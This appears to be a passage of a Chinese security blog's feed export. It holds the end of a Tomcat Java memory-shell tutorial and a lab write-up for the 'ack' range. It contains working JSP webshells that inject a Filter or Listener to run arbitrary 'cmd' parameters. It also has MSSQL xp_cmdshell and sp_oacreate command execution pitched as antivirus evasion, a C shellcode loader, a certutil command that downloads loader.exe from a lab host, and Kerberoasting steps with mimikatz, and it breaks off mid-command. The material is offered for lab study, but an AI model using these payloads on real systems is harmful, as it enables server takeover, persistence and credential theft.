class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">applicationField</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> applicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) applicationField.get(servletContext);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">standardContextField</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> standardContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext) standardContextField.get(applicationContext);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//设置filterDef</span></span><br><span class="line"> <span class="type">FilterDef</span> <span class="variable">filterDef</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterDef</span>();</span><br><span class="line"> filterDef.setFilterClass(Shellfilter.class.getName());</span><br><span class="line"> filterDef.setFilterName(<span class="string">"Shellfilter"</span>);</span><br><span class="line"> filterDef.setFilter(<span class="keyword">new</span> <span class="title class_">Shellfilter</span>());</span><br><span class="line"> standardContext.addFilterDef(filterDef);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//设置filterMap</span></span><br><span class="line"> <span class="type">FilterMap</span> <span class="variable">filterMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterMap</span>();</span><br><span class="line"> filterMap.setFilterName(<span class="string">"Shellfilter"</span>);</span><br><span class="line"> filterMap.addURLPattern(<span class="string">"/1y0ng"</span>);</span><br><span class="line"> filterMap.setDispatcher(DispatcherType.REQUEST.name());</span><br><span class="line"> standardContext.addFilterMap(filterMap);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将standardContext和filterDef放到filterConfig中</span></span><br><span class="line"> <span class="type">Class</span> <span class="variable">configclass</span> <span class="operator">=</span> Class.forName(<span class="string">"org.apache.catalina.core.ApplicationFilterConfig"</span>);</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">configconstructor</span> <span class="operator">=</span> configclass.getDeclaredConstructor(Context.class,FilterDef.class);</span><br><span class="line"> configconstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">FilterConfig</span> <span class="variable">filterConfig</span> <span class="operator">=</span> (FilterConfig) configconstructor.newInstance(standardContext,filterDef);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//反射获取filterConfig</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">configsfield</span> <span class="operator">=</span> standardContext.getClass().getDeclaredField(<span class="string">"filterConfigs"</span>);</span><br><span class="line"> configsfield.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">filterConfigs</span> <span class="operator">=</span> (Map) configsfield.get(standardContext);</span><br><span class="line"> filterConfigs.put(<span class="string">"Shellfilter"</span>,filterConfig);</span><br><span class="line">%></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>服务器启动以后先访问/shll2.jsp,再访问/1y0ng并加上cmd参数,发现命令成功执行</p><p><img src="image-20230506231812316.png" alt="image-20230506231812316"></p><p>filterConfigs中也带上了Shellfilter</p><p><img src="image-20230506232028066.png" alt="image-20230506232028066"></p><h1 id="Listener内存马">Listener内存马</h1><p>Listener主要分为三个大类:ServletContext监听、Session监听、Request监听</p><p>我们这里主要利用<code>Request监听</code>构造内存马</p><p>首先写个demo大致理解一下Listener的使用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.listener;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestEvent;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestListener;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Mylistener</span> <span class="keyword">implements</span> <span class="title class_">ServletRequestListener</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestDestroyed</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> System.out.println(<span class="string">"请求已经销毁"</span>);</span><br><span class="line"> count--;</span><br><span class="line"> System.out.println(<span class="string">"当前请求数量:"</span> + count);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestInitialized</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> System.out.println(<span class="string">"请求已经初始化"</span>);</span><br><span class="line"> count++;</span><br><span class="line"> System.out.println(<span class="string">"当前请求数量:"</span> + count);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在web.xml中添加</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">listener</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener-class</span>></span>com.example.listener.Mylistener<span class="tag"></<span class="name">listener-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">listener</span>></span></span><br></pre></td></tr></table></figure><p>运行服务器,当发起一个请求的时候会依次调用<code>requestInitialized</code>和<code>requestDestroyed</code>方法</p><p><img src="image-20230507212431609.png" alt="image-20230507212431609"></p><p>我们可以通过<code>javax.servlet.ServletRequestEvent#getServletRequest</code>方法拿到<code>request</code>,进而拿到<code>response</code>回显结果</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ServletRequest</span> <span class="variable">servletRequest</span> <span class="operator">=</span> sre.getServletRequest();<span class="comment">//拿到servletRequest</span></span><br><span class="line"><span class="type">Field</span> <span class="variable">requestF</span> <span class="operator">=</span> servletRequest.getClass().getDeclaredField(<span class="string">"request"</span>);</span><br><span class="line">requestF.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> (Request) requestF.get(servletRequest);</span><br><span class="line">request.getResponse()<span class="comment">//拿到response</span></span><br></pre></td></tr></table></figure><p>故构造的恶意Mylistener.class如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.listener;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.connector.Request;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestEvent;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestListener;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.PrintWriter;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Mylistener</span> <span class="keyword">implements</span> <span class="title class_">ServletRequestListener</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestDestroyed</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestInitialized</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> <span class="type">ServletRequest</span> <span class="variable">servletRequest</span> <span class="operator">=</span> sre.getServletRequest();</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="keyword">if</span> (cmd!=<span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> in = Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">requestF</span> <span class="operator">=</span> servletRequest.getClass().getDeclaredField(<span class="string">"request"</span>);</span><br><span class="line"> requestF.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> (Request) requestF.get(servletRequest);</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> request.getResponse().getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> System.out.println(e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="image-20230507215709948.png" alt="image-20230507215709948"></p><p>同样找到<code>org.apache.catalina.startup.ContextConfig#configureContext</code>中和listener有关的部分如下</p><p><img src="image-20230507221045922.png" alt="image-20230507221045922"></p><p>在这里打个断点debug一下就会发现listener并没有被放到context中</p><p><img src="image-20230507220835337.png" alt="image-20230507220835337"></p><p>实际上这里对于注册ServletRequestListener不是通过<code>addApplicationListener</code>方法而是<code>addApplicationEventListener</code>方法</p><p><img src="image-20230507221901142.png" alt="image-20230507221901142"></p><p>所以直接调用<code>addApplicationEventListener</code>就可以了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">standardContext.addApplicationEventListener(<span class="keyword">new</span> <span class="title class_">Shelllistener</span>());</span><br></pre></td></tr></table></figure><p>所以完整的shell3.jsp为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.InputStream"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.connector.Request"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.util.Scanner"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Field"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.PrintWriter"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.ApplicationContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.StandardContext"</span> %></span><br><span class="line"><%@ page contentType=<span class="string">"text/html;charset=UTF-8"</span> language=<span class="string">"java"</span> %></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <title>Title</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><%!</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shelllistener</span> <span class="keyword">implements</span> <span class="title class_">ServletRequestListener</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestDestroyed</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestInitialized</span><span class="params">(ServletRequestEvent sre)</span> {</span><br><span class="line"> <span class="type">ServletRequest</span> <span class="variable">servletRequest</span> <span class="operator">=</span> sre.getServletRequest();</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="keyword">if</span> (cmd!=<span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> in = Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">requestF</span> <span class="operator">=</span> servletRequest.getClass().getDeclaredField(<span class="string">"request"</span>);</span><br><span class="line"> requestF.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> (Request) requestF.get(servletRequest);</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> request.getResponse().getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> System.out.println(e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"></span><br><span class="line"><%</span><br><span class="line"> <span class="comment">//拿到standardContext</span></span><br><span class="line"> <span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">applicationField</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> applicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) applicationField.get(servletContext);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">standardContextField</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> standardContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext) standardContextField.get(applicationContext);</span><br><span class="line"></span><br><span class="line"> standardContext.addApplicationEventListener(<span class="keyword">new</span> <span class="title class_">Shelllistener</span>());</span><br><span class="line">%></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>先访问/shell3.jsp再带入参数cmd就可以执行任意命令了</p><p><img src="image-20230507223323123.png" alt="image-20230507223323123"></p><p>参考:</p><p><a href="https://ha1c9on.top/?p=1949">Java Memory Shell & Tomcat</a></p><p><a href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">JSP Webshell那些事 – 攻击篇(下)</a></p>]]></content>
<summary type="html"><h1 id="介绍">介绍</h1>
<p><code>Java内存马(Java Memory Shell)</code>是一种利用Java虚拟机(JVM)中的内存对象和反射技术来执行恶意代码的攻击手段。</p>
<p>与传统木马相比,Java内存马具有以下几个优势:</p>
</summary>
<category term="JAVA" scheme="http://example.com/categories/JAVA/"/>
<category term="内存马" scheme="http://example.com/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"/>
</entry>
<entry>
<title>暗月ack靶场学习记录</title>
<link href="http://example.com/post/2023/%E6%9A%97%E6%9C%88ack%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"/>
<id>http://example.com/post/2023/%E6%9A%97%E6%9C%88ack%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/</id>
<published>2023-04-30T02:32:53.000Z</published>
<updated>2023-06-14T11:51:01.742Z</updated>
<content type="html"><![CDATA[<p>最近打了一套新的靶场——暗月ack,学到了很多新东西,特此记录</p><h1 id="烂土豆(RottenPotato)">烂土豆(RottenPotato)</h1><p><code>烂土豆(Rotten Potato) MS16-075</code> 是一种利用 Windows 客户端操作系统中 NT AUTHORITY\SYSTEM 权限漏洞的攻击方法,可以实现本地提权,对应的补丁号为<code>KB3164038</code></p><p>适用版本:<code>Windows 7、8、10、2008、2012</code></p><p>当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码</p><p>若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统,可见,该漏洞的利用方式还是比较简单的</p><p>首先在拥有一个登录用户的情况下输入<code>whoami /prive</code>查看当前用户的权限</p><p>如果发现有<code>SeAssignPrimaryTokenPrivilege</code>权限或者<code>SeImpersonatePrivilege</code> 权限并且系统未打对应的补丁则可以成功利用烂土豆提权</p><h1 id="MSSQL拿shell">MSSQL拿shell</h1><p>拿到sql server的<code>sa账户</code>以后可以通过<code>xp_cmdshell</code>来执行系统命令</p><p>先判断xp_shell是否存在</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell';</span><br></pre></td></tr></table></figure><p>如果显示0则可以通过以下命令重新加载</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dbcc addextendedproc("xp_cmdshell","xplog70.dll");</span><br></pre></td></tr></table></figure><p>执行命令方法为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">EXEC master..xp_cmdshell 'whoami';</span><br></pre></td></tr></table></figure><p>在命令执行之后下一步的目标就是拿shell,这里采用的方法是利用windows自带的<code>certutil</code>下载shellcode加载器</p><p>但是使用xp_cmdshell去调用certutil会发现被火绒拦截了,所以我们需要使用<code>sp_oacreate</code>来执行命令</p><blockquote><p><code>xp_cmdshell</code> 和 <code>sp_oacreate</code> 都是 SQL Server 中用于执行操作系统命令的工具,但是它们之间存在一些差异</p><p><code>xp_cmdshell</code> 是在 SQL Server 上直接调用 Windows 的 <code>cmd.exe</code> 执行指定的命令,因此容易被杀毒软件和防火墙拦截。当执行 <code>xp_cmdshell</code> 命令时,如果杀毒软件或防火墙检测到其中包含有潜在的安全威胁,则可能会立即阻止该命令的执行</p><p>相比之下,<code>sp_oacreate</code> 是使用 SQL Server 的 COM (组件对象模型) 接口创建一个外部对象,并通过该对象调用操作系统命令,因此在某种程度上可以绕过杀毒软件或防火墙的检测。但是,由于它需要使用 COM 对象,而且需要启用 <code>Ole Automation Procedures</code> 选项才能使用,因此在某些情况下可能不太方便使用</p></blockquote><p><code>sp_oacreate</code>可以删除、复制、移动文件,还能配合<code>sp_oamethod</code>来写文件执行<code>cmd</code>,但是<code>sp_oamethod</code>无回显</p><p>首先要开启<code>sp_oacreate</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">EXEC sp_configure 'show advanced options',1;</span><br><span class="line">RECONFIGURE;</span><br><span class="line">EXEC sp_configure 'Ole Automation Procedures',1;</span><br><span class="line">RECONFIGURE</span><br></pre></td></tr></table></figure><p>将 certutil.exe 复制到 C:\Windows\Temp\ 下,并重命名为 sethc.exe</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">declare @o int; exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';</span><br></pre></td></tr></table></figure><p>生成cobalt strike 的shellcode加载器</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _CRT_SECURE_NO_WARNINGS</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><windows.h></span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (argc != <span class="number">2</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Usage: %s [binary string]\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="type">size_t</span> len = <span class="built_in">strlen</span>(argv[<span class="number">1</span>]) / <span class="number">2</span>;</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">char</span>* buf = (<span class="type">unsigned</span> <span class="type">char</span>*)<span class="built_in">malloc</span>(len);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i < len; ++i) {</span><br><span class="line"> <span class="built_in">sscanf</span>(&argv[<span class="number">1</span>][i * <span class="number">2</span>], <span class="string">"%2hhx"</span>, &buf[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//申请内存(权限为rwx)</span></span><br><span class="line"> <span class="type">void</span>* exec = <span class="built_in">VirtualAlloc</span>(<span class="number">0</span>, <span class="number">1024</span>, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"> <span class="comment">//将shellcode复制进申请的内存中</span></span><br><span class="line"> <span class="built_in">RtlMoveMemory</span>(exec, buf, <span class="number">1024</span>);</span><br><span class="line"> <span class="comment">//执行shellcode</span></span><br><span class="line"> ((<span class="built_in">void</span>(*)())exec)();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>利用Visual Studio编译生成load.exe</p><p>certutil 工具远程下载 loader.exe</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://192.168.59.1/loader.exe" C:\Windows\Temp\loader.exe'</span><br></pre></td></tr></table></figure><p>xp_cmdshell 执行命令加载 shellcode</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">EXEC master..xp_cmdshell 'C:\Windows\Temp\loader.exe shellcode二进制木马‘</span><br></pre></td></tr></table></figure><h1 id="kerberosting">kerberosting</h1><p><code>Kerberoast </code>是一种针对 Kerberos 身份验证协议的攻击技术,用于从域控制器获取受保护的服务账户(Service Account)密码哈希值并进行破解</p><p>流程如下:</p><p><img src="image-20230430190501680.png" alt="image-20230430190501680"></p><p>攻击者拿到ST用于本地离线爆破,如果字典足够强大则可以爆破出SPN链接用户的明文密码</p><p>这个过程中,客户端在请求ST的时候是可以<code>协商所使用的加密算法</code>,只有使用的是<code>RC4加密</code>才有可能被爆破出来</p><blockquote><p>kerberosting一般只攻击注册下用户下的SPN,而机器账户的密码是随机生成的128位字符,不太可能爆破出来</p></blockquote><p>首先查询某个域中的SPN信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn -T ack123.com -q */*</span><br></pre></td></tr></table></figure><blockquote><ul><li>setspn:setspn 是一个 Windows 命令行工具,用于管理和操作 Active Directory 中的 SPN 信息</li><li>-T <a href="http://ack123.com">ack123.com</a>:指定要查询的域或计算机名称,例如 <a href="http://ack123.com">ack123.com</a> 表示查询该域中的 SPN 信息</li><li>-q:指定要执行的操作类型,这里表示查询 SPN 信息。</li><li><em>/</em>:指定要查询的所有 SPN 类型和名称,包括服务类别和实例名称。其中 * 表示通配符,表示任意字符或字符串</li></ul></blockquote><p>SPN命令格式:<code>SPN = serviceclass "/" hostname [":"port] ["/" servicename]</code></p><p>在web2中可以看到Administrator注册了一个mysql的SPN</p><p><img src="image-20230430191030997.png" alt="image-20230430191030997"></p><p>接下来使用mimikatz请求SPN的ST</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com</span><br></pre></td></tr></table></figure><p>导出当前票据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td 